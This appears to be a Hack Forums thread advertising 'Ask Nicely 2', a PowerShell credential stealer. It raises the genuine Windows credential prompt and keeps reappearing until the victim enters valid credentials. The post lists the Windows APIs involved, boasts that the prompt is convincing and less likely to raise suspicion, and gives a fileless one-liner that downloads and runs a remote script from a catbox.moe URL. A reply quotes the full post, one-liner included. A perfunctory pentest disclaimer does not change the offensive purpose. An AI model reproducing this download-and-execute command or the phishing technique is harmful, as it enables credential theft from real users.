

Forum:[Hack Forums](#)

Thread: [Ask Nicely 2 - Native SE credential stealer in PS](#)

CL1B - August 28, 2025, 6:02 am

Ask Nicely 2: Native Credential Stealer in PS

Why steal credentials when you can ask for them?

A good smoke led me to write an alternative version of Ask Nicely, turns out invoking the native credential dialog is a breeze. I'm surprised none of you pointed that out. This implementation is much more proper and convincing.

You can update to old builder script to handle this proof of concept for things like icons, I won't.

AskNicely2 uses the following Windows APIs:

1. CredUIPromptForWindowsCredentials: Displays the native credential prompt
2. CredUnPackAuthenticationBuffer: Retrieves credentials from the security buffer
3. CredUIParseUserName: Separates domain and username components
4. LogonUserW: Validates credentials against Windows authentication

Credential Validation

The script validates credentials using the LogonUserW API, only valid credentials are accepted. The prompt won't stop until valid credentials are entered.

Key advantages over the previous version:

- Uses actual Windows credential UI instead of simulations
- More convincing and less likely to raise suspicion

Proof of concept

Source code [\(Click to View\)](#)

You can also invoke Ask Nicely 2 with a PowerShell one liner on any Windows 10/11 system:

Code iex ([Text.Encoding]::Default.GetString((iwr 'https://files.catbox.moe/4r5c80.ps1').Content))
This execution is file-less.

AV performance

Spoiler ([Click to View](#))

Disclaimer

This tool is intended for authorized penetration testing and security research only. Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.

kuraANT - August 28, 2025, 6:10 am

Cool man

Stanley - September 22, 2025, 12:02 pm

I'm Stanley HF's helper bot. This OP (original poster) of this thread wants everyone to see this page and has elected to bump it to the top of the showthread listing. Since HF doesn't want a ton of LQP (Low Quality Posts) this is the best method of bumping your content. There is a small ?yte fee for each bump. Any OP can bump any of their threads on HF from the linked icon on the top of their first post.

If you haven't already read the first post of this thread we encourage you to do so.

Thanks,
Stanley

The Pact - September 29, 2025, 12:22 am

(Sep 28, 2025 11:51 PM)niklaus8391 Wrote: [CITE](#) smrda koristi iex haha [warn]
Most people here don't speak Croatian. The rules for this forum state English only. No offense is meant to speakers of other languages.

???????????? - October 24, 2025, 12:00 pm

(Aug 28, 2025 06:02 AM)MarlboroMan Wrote: [CITE](#) Ask Nicely 2: Native Credential Stealer in PS

Why steal credentials when you can ask for them?

A good smoke led me to write an alternative version of Ask Nicely, turns out invoking the native credential dialog is a breeze. I'm surprised none of you pointed that out. This implementation is much more proper and convincing.

You can update to old builder script to handle this proof of concept for things like icons, I won't.

AskNicely2 uses the following Windows APIs:

1. CredUIPromptForWindowsCredentials: Displays the native credential prompt
2. CredUnPackAuthenticationBuffer: Retrieves credentials from the security buffer
3. CredUIParseUserName: Separates domain and username components
4. LogonUserW: Validates credentials against Windows authentication

Credential Validation

The script validates credentials using the LogonUserW API, only valid credentials are accepted. The prompt wont stop until valid credentials are entered.

Key advantages over the previous version:

- Uses actual Windows credential UI instead of simulations
- More convincing and less likely to raise suspicion

Proof of concept

Source code [\(Click to View\)](#)

You can also invoke Ask Nicely 2 with a PowerShell one liner on any Windows 10/11 system:

Code iex ([Text.Encoding]::Default.GetString((iwr 'https://files.catbox.moe/4r5c80.ps1').Content))
This execution is file-less.

AV performance

Spoiler [\(Click to View\)](#)

Disclaimer

This tool is intended for authorized penetration testing and security research only. Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.

Great thread by OP !!